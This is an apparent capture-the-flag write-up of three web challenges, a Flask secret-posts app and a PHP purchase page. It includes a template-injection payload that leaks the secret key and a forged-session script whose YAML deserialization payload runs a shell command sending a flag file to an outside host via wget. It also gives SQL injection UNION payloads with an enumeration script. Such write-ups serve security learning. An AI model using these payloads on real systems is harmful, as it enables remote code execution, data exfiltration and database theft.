Writeups

Secure Posts 1

Web 50

Here is a service that you can store any posts. Can you hack it? http://52.69.126.212/

Secret Posts Manager

We're given the source code for this webpage: https://gist.github.com/eugenekolo/2bb4cf5c8ef7337a7d1c4e098fdcdfb2

Examination

It's fairly straight forward of an app. It takes your post, saves it with your session using a secret key. And for every new post, it appends to the previous posts. It additionally allows you to store the posts as either JSON, or YAML. The code is a bit more confusing, and seems to maybe allow you to use Pickle or eval, but that's actually useless/unimportant.

At first glance, I spent a lot of time trying to figure out how to do a YAML Deserialization attack that I read up a little while back on: https://access.redhat.com/blogs/766093/posts/2592591. However, upon further inspection, it just simply isn't possible due to the way the app does serialization and deserialization.

Essentially the code boils down one of two routes, /, or /post. Both start with load_posts(), which will essentially either fail or do yaml.load(). Typically, this would be dangerous, however the data that it's going to unload is completely uncontrollable by us do to it being tied to the session, and the session being integrity controlled by the secret_key.

We have some control over the session through the / route. However, what that route ends up doing is essentially taking our dirty input, and putting it into a dictionary structure. It then serializes that dictionary using yaml.dump(). Now, what we have instead of our dangerous input is just a plain old harmless serialized dictionary that points to some strings. One of those strings may happen to look dangerous, but is still just a string and it will not be parsed as anything else.

So we're out of luck here for doing anything involving deserialization.

There's one other area where user input seems to go:

return render_template_string(template.format(name=name), **args)  

Hmm... I wonder what Google shows up for 'template format injection flask' - https://hackerone.com/reports/125980

Aha! A bug bounty by the same creator of the challenge, orange, lol!

Testing his same test, {{'7'*7}} into the name field, gives us exactly what he said it would give 7777777.

So, simply changing that to {{config}} is going to render the config module as a string, and output it to us:

<Config {'SESSION_COOKIE_SECURE': False, 'DEBUG': False, 'SESSION_COOKIE_NAME': 'session', 'JSONIFY_PRETTYPRINT_REGULAR': True, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'PREFERRED_URL_SCHEME': 'http', 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SERVER_NAME': None, 'SEND_FILE_MAX_AGE_DEFAULT': 43200, 'TRAP_HTTP_EXCEPTIONS': False, 'MAX_CONTENT_LENGTH': None, 'A': <datetime.tzinfo object at 0x7f3b41b891d0>, 'TRAP_BAD_REQUEST_ERRORS': False, 'JSON_AS_ASCII': True, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SESSION_COOKIE_DOMAIN': None, 'USE_X_SENDFILE': False, 'APPLICATION_ROOT': None, 'SESSION_COOKIE_HTTPONLY': True, 'LOGGER_NAME': 'post_manager', 'SESSION_COOKIE_PATH': None, 'SECRET_KEY': 'hitcon{>_<---Do-you-know-<script>alert(1)</script>-is-very-fun?}', 'JSON_SORT_KEYS': True}>  

SECRET_KEY is the flag, and the actual session secret key of the website, see below for why that's interesting.

Secure Posts 2

Web 150

Here is a service that you can store any posts. Can you hack it? http://52.69.126.212/

Same exact website as as the first part in 'Secure Posts'.

It's important to understand how the app works, so look at the Examination section of Secure Posts 1 to understand how the app works.

From the previous challenge we have the secret key of the website. That means we actually have full control of the data that the app will try to deserialize. Without the secret key, we could not edit the session cookie without violating the signature check. But, now we have it, so it's free game!

import yaml  
from flask.sessions import SecureCookieSessionInterface

key = r"hitcon{>_<---Do-you-know-<script>alert(1)</script>-is-very-fun?}"

class App(object):  
    def __init__(self):
        self.secret_key = None

def load_yaml(data):  
    import yaml
    return yaml.load(data)

exploit = u"some_option: !!python/object/apply:subprocess.call\n \  
  args: [wget eugenekolo.com/$(cat flag2)]\n \
  kwds: {shell: true}\n"

exploit = {'post_type': u'yaml',  
           'post_data': exploit}

app = App()  
app.secret_key = key

# Encode a session exactly how Flask would do it
si = SecureCookieSessionInterface()  
serializer = si.get_signing_serializer(app)  
session = serializer.dumps(exploit)

print("Change your session cookie to: ")  
print(session)

# Test it on ourselves
#x = serializer.loads(session)
#print(x)
#load_yaml(x['post_data'])

All we really need is some YAML code that does something malicious. This Redhat Article explains how to do a Python subprocess.call() with YAML, so we can leverage that to get remote execution. Next we need to form our session into a shape that the webapp likes, so that means making it into the correct dictionary with 'post_type' and 'post_data'.

After we have that session ready, we have to encode it using the same scheme that Flask does. This was easier to do than expected. We can then change our session cookie to the string that a real Flask app would do.

Refresh the page...

52.69.126.212 - - [10/Oct/2016:05:02:55 +0300] "GET /hitcon%7Bunseriliaze_is_dangerous_but_RCE_is_fun!!%7D HTTP/1.1" 301 184 "-" "Wget/1.17.1 (linux-gnu)"  

Are you rich?

Web 50

Description Are you rich? Buy the flag!
http://52.197.140.254/are_you_rich/
ps. You should NOT pay anything for this challenge
Some error messages which is non-related to challenge have been removed

Navigate to verify.php, and for address:

d' AND 1=2 UNION ALL SELECT table_name from information_schema.tables LIMIT 3,1 #  

Change the limit to output a different table_name, and keep enumerating to find the table named flag.

I made a tester script:

import requests

URL = 'http://52.197.140.254/are_you_rich/verify.php'

for i in range(0, 100):  
    address = r"d' AND 1=2 UNION ALL SELECT table_name from information_schema.tables LIMIT {},1 #".format(str(i))
    print(address)
    data = {'address': address,
            'flag_id': 'flag2',
             'submit': 1}

    r = requests.post(URL, data=data)

    if 'not have enough' not in r.text:
        print(r.text)

Then do

d' AND 1=2 UNION ALL SELECT flag from flag1 #  

And get ...

Error!: Remote API server reject your invalid address 'hitcon{4r3_y0u_r1ch?ju57_buy_7h3_fl4g!!}'. If your address is valid, please PM @cebrusfs or other admin on IRC.